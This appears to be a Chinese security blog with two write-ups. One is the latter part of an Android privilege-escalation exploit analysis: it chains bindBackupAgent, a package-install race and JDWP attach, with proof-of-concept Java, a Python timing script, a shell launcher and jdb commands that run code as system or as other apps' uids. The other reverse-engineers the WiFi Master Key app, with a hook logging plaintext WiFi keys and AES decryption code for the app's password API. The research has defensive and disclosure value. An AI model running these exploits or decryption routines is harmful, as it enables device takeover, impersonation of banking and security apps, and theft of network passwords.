但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。

setPackageStoppedState的权限检查

从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:

Screenshot from 2015-04-20 15:50:35

但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。

一个猥琐的步骤如下: – 调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。 – startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。 – startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。

正常的情况下,当包存在时,会是如下时序:

Screenshot 2015-05-02 13.42.23

包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。

Screenshot 2015-05-02 13.44.34

TOCTOU利用时序图如下:

Screenshot 2015-05-02 13.48.38

这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中Copying native libraries to,在此刻触发bindBackupAgent调用,基本每次都能成功。

handleCreateBackupAgent的检查

跟一下调用链:

        public final void scheduleCreateBackupAgent(ApplicationInfo app,
658                CompatibilityInfo compatInfo, int backupMode) {
659            CreateBackupAgentData d = new CreateBackupAgentData();
660            d.appInfo = app;
661            d.compatInfo = compatInfo;
662            d.backupMode = backupMode;
663
664            sendMessage(H.CREATE_BACKUP_AGENT, d);
665        }



public void handleMessage(Message msg) {
//omit
                case CREATE_BACKUP_AGENT:
1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340                    break;
//omit
}

// Instantiate a BackupAgent and tell it that it's alive
2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431        // Sanity check the requested target package's uid against ours
2432        try {
2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434                    data.appInfo.packageName, 0, UserHandle.myUserId());
2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436                Slog.w(TAG, "Asked to instantiate non-matching package "
2437                        + data.appInfo.packageName);
2438                return;
2439            }
2440        } catch (RemoteException e) {
2441            Slog.e(TAG, "Can't reach package manager", e);
2442            return;
2443        }
//omit
2448        // instantiate the BackupAgent class named in the manifest
2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450        String packageName = packageInfo.mPackageName;
//omit
2461
2462        BackupAgent agent = null;
2463        String classname = data.appInfo.backupAgentName;
2464
2465        // full backup operation but no app-supplied agent?  use the default implementation
2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468            classname = "android.app.backup.FullBackupAgent";
2469        }
2470
2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)

2472            IBinder binder = null;
2473            try {
2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476                java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479                // set up the agent's context
2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481                context.setOuterContext(agent);
2482                agent.attach(context);
2483
2484                agent.onCreate();
2485                binder = agent.onBind();
2486                mBackupAgents.put(packageName, agent);
2487            } catch (Exception e) {
2488                //omit
2496            }
//omit
2508    }
2509

该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。

如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。

但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。

喜闻乐见的shell…吗

顺利的话system身份进程已经启动。 Screenshot from 2015-04-20 15:50:21

如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图: Screenshot from 2015-04-20 20:20:50

这里会有两种情况: – 进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。 – 进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。

对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示: Screenshot from 2015-04-20 22:19:01

这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?如何跳出这个轮回留给读者做一道思考题。

第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。

总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。

附效果截图:

system: Screenshot from 2015-04-20 21:35:05

当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图: Screenshot from 2015-04-20 22:37:34

可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。

部分POC:

myapp:

public class Test {

    public static void main(String []args)
    {
        test(Integer.parseInt(args[0]));
    }

    public static void test(Integer uid)
    {
        try {
            Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
            Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");

            Object iActivityManager = bindBackupAgent.invoke(null);

            Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);

            ApplicationInfo applicationInfo = new ApplicationInfo();
            applicationInfo.dataDir = "/data/data/com.example.myapp";
            applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
            applicationInfo.processName = "com.example.myapp";
            applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.taskAffinity = "com.example.myapp";
            applicationInfo.packageName = "com.example.myapp";
            applicationInfo.flags = 8961606;
            applicationInfo.uid = uid;
            bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。

监控py脚本

from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
    for line in iter(p.stdout.readline, b''):
        if line.find(KW) != -1:
            print line
            os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()

test.sh

export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@

jdb命令:

threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")

修复:

Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。

References:

  • http://www.securityfocus.com/archive/1/535296/30/0/threaded
  • http://www.saurik.com/id/17
  • http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
  • http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29

WiFi万能钥匙蹭网原理详细剖析

注:该文最早受乌云编辑约稿,发表在http://drops.wooyun.org/papers/4976

wifi万能钥匙究竟有没有获取root之后偷偷上传密码?

本次测试版本号为3.2.3,首先通过可疑shell语句定位到疑问的问题代码:类名com.snda.wifilocating.f.ba

source_code_decomplied

source_code_decomplied

这段代码的作用是在有了root权限的情况下 将系统的wifi.conf拷贝出来到应用自己的目录,并赋予其全局可读写权限(其实这是个漏洞了…)。

对其做cross-ref查找引用之后可以发现,该函数主要在两个地方被直接调用。一个是com.snda.wifilocating.e.av:

savePrivateApsReq

savePrivateApsReq


这是一个api接口,主要功能是用于用户注册了之后备份自己的ap密码,同时在
cross-refs

cross-refs


WpaConfUploadActivity直接调用、GetBackupActivity中间接调用。第一个Activity在分析的版本中已经被从AndroidManifest中删除,而第二个Activity则是用户备份私有wifi时的对应的界面。这证实了备份的时候密码确实会被上传,而且从下文来看这个密码是完全可逆的。

不过在使用过程中,该应用并没有其他可疑的root行为操作。笔者打开了SuperSu的root执行监控,短暂的使用过程中也只发现了执行了上述的这一条命令。

supersu-monitor

Android系统Wifi连接API概述

Android系统通过WifiManager类来提供对Wifi的扫描、连接接口。应用在请求相应权限之后可以扫描、连接、断开无线等。在连接无线功能中,客户端基本上只要指定SSID,Pre-shared-key(即密码),就可以用代码的方式连接无线。连接一个WPA(2)无线典型代码如下,

wifiConfiguration.SSID = "\"" + networkSSID + "\"";
wifiConfiguration.preSharedKey = "\"" + networkPass + "\"";
wifiConfiguration.hiddenSSID = true;
wifiConfiguration.status = WifiConfiguration.Status.ENABLED;
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.TKIP);
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.CCMP);
wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.WPA);

int res = wifiManager.addNetwork(wifiConfiguration);
Log.d(TAG, "### add Network returned " + res);

wifi万能钥匙是怎么连接上无线的,密码从哪里来?

这也是争议较大的地方,首先该应用肯定是有云端存储了很多密码,因为应用会引导用户备份自己的密码,但这些密码有没有被滥用我们在客户端就不得而知了。在2月底的这次测试中,笔者先私有备份了自己建立的测试无线(注意不是分享),然后使用另外一个手机安装该客户端测试,该客户端的API请求接口并没有返回这个测试的无线的密码。不过这也可能只是个例说明不了什么,还是建议各位自行测试,但注意测试前清除保存的无线并给测试无线设定一个弱密码以免真的泄露了自己的密码。

无线密码获取分析

回到正题,笔者通过代理拦截到了该应用获取wifi密码的请求。应用发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密。首先为了证明其在本地最终还是会以明文出现,先取了个巧,没有去逆这个算法(虽然逆下也不会很困难),而是直接hook了系统添加无线的代码(回忆上文里密码就在NetworkConfiguration.preSharedKey里)。

部分HOOK代码:

Class wifimgr = XposedHelpers.findClass(
        "android.net.wifi.WifiManager",
        lpparam.classLoader);
XposedBridge.hookAllMethods(wifimgr, "addNetwork",
        new XC_MethodHook() {

            @Override
            protected void beforeHookedMethod(MethodHookParam param)
                    throws Throwable {
                WifiConfiguration configuration = (WifiConfiguration) param.args[0];
                if(configuration.preSharedKey != null)
                {

                    Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
                }
            }
        });

XposedBridge.hookAllMethods(wifimgr, "updateNetwork",
        new XC_MethodHook() {

            @Override
            protected void beforeHookedMethod(MethodHookParam param)
                    throws Throwable {
                WifiConfiguration configuration = (WifiConfiguration) param.args[0];
                if(configuration.preSharedKey != null)
                {

                    Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
                }
            }
        });
}

这是一个万能钥匙上传wifi ssid以及mac以请求密码的截图:

query_pwd_by_ssid

query_pwd_by_ssid

响应截图:

get_ret_pwd

get_ret_pwd

密码以AES可逆加密的形式通过pwd这个json key传递了回来。

同时,在其尝试通过这个密码连接目标无线的时候,本地hook模块也获取到了真实的明文密码:

hook_pwd_output

hook_pwd_output

个人备份分析

而个人备份模块,也就是直接会读取wifi.conf的模块,是通过findprivateap和saveprivateap这两个json api method进行,具体的http请求逻辑在com.snda.wifilocating.e.av中可以找到,这个类也基本上囊括了所有万能钥匙的api请求逻辑。

备份时的请求:把整个wifi.conf全部上传了上去。

upload_wpa_supplicant_conf

upload_wpa_supplicant_conf

而恢复备份时,只是将密码从云端拖了下来。

其他连接方式分析

除此之外,Wifi万能钥匙还自带了2000条的数据库记录在ap8.db中,记录了常见的弱密码。
weak-pwd-2
例如
weak-pwd-1

这些密码用在所谓的“深度连接”功能中,其实按代码逻辑来看就是一个wifi密码爆破,每次在字典中尝试10个密码。看下logcat就很明显。

I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
D/SupplicantStateTracker( 818): Failed to authenticate, disabling network 1
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5c:a4:8a:4d:09:a0 (SSID='aaaaaaaaa' freq=2412 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5c:a4:8a:4d:09:a0
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5c:a4:8a:4d:09:a0 reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5e:aa:aa:aa:aa:aa (SSID='aaaaaaaaa' freq=2462 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5e:aa:aa:aa:aa:aa
D/dalvikvm(13893): GC_CONCURRENT freed 356K, 4% free 18620K/19220K, paused 9ms+2ms, total 29ms
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5e:aa:aa:aa:aa:aa reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20

Wifi密码加解密分析

当然真正去逆向加密代码也不是很困难,简单的搜寻即可得到解密代码:(部分直接从反编译的代码中抠出,风格未做修饰)

public class AESFun {

  String a =//略去;
  String b = //略去;
  String c = //略去;

  Cipher cipher;
  IvParameterSpec spec;
  SecretKeySpec secretKeySpec;
  void init() throws NoSuchAlgorithmException, NoSuchPaddingException {
        spec = new IvParameterSpec(b.getBytes());
        secretKeySpec = new SecretKeySpec(a.getBytes(), "AES");
        cipher = Cipher.getInstance("AES/CBC/NoPadding");
  }

  public final String b(String arg7) throws Exception {
    byte[] array_b1;
    byte[] array_b = null;
    int i = 2;
    String string = null;
    {
        try {
            this.cipher.init(2, secretKeySpec, spec);
            Cipher cipher = this.cipher;
            if(arg7 != null && arg7.length() >= i) {
                int i1 = arg7.length() / 2;
                array_b = new byte[i1];
                int i2;
                for(i2 = 0; i2 < i1; ++i2) {
                    String string1 = arg7.substring(i2 * 2, i2 * 2 + 2);
                    array_b[i2] = ((byte)Integer.parseInt(string1, 0x10));
                }
            }

            array_b1 = cipher.doFinal(array_b);
        }
        catch(Exception exception) {
            StringBuilder stringBuilder = new StringBuilder("[decrypt] ");
            string = exception.getMessage();
            StringBuilder stringBuilder1 = stringBuilder.append(string);
            string = stringBuilder1.toString();
            exception.printStackTrace();
            throw new Exception(string);
        }

        string = new String(array_b1);
    }

    return string;
}

将API请求中获取的16进制pwd字段代入解密程序,得到的结果是如下格式:[length][password][timestamp]的格式,如下图所示,中间就是目标无线明文密码。

decrypted_pwd

decrypted_pwd

此外接口请求中有一个sign字段是加签,事实上是把请求参数合并在一起与预置的key做了个md5,细节就不赘述了。这两个清楚了之后其实完全可以利用这个接口实现一个自己的Wifi钥匙了。

总结

此版本的WiFi万能钥匙不会主动把root之后手机保存的无线密码发向云端但在做备份操作(安装时默认勾选自动备份)时会发送,当有足够的用户使用该应用时,云端就拥有了一个庞大的WiFi数据库,查询WiFi的密码时,应用会发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密,本地解密后连接目标WiFi。同时内置了常见的2000条WiFi弱口令,在云端没有该WiFi密码的时候,可以尝试爆破目标的密码。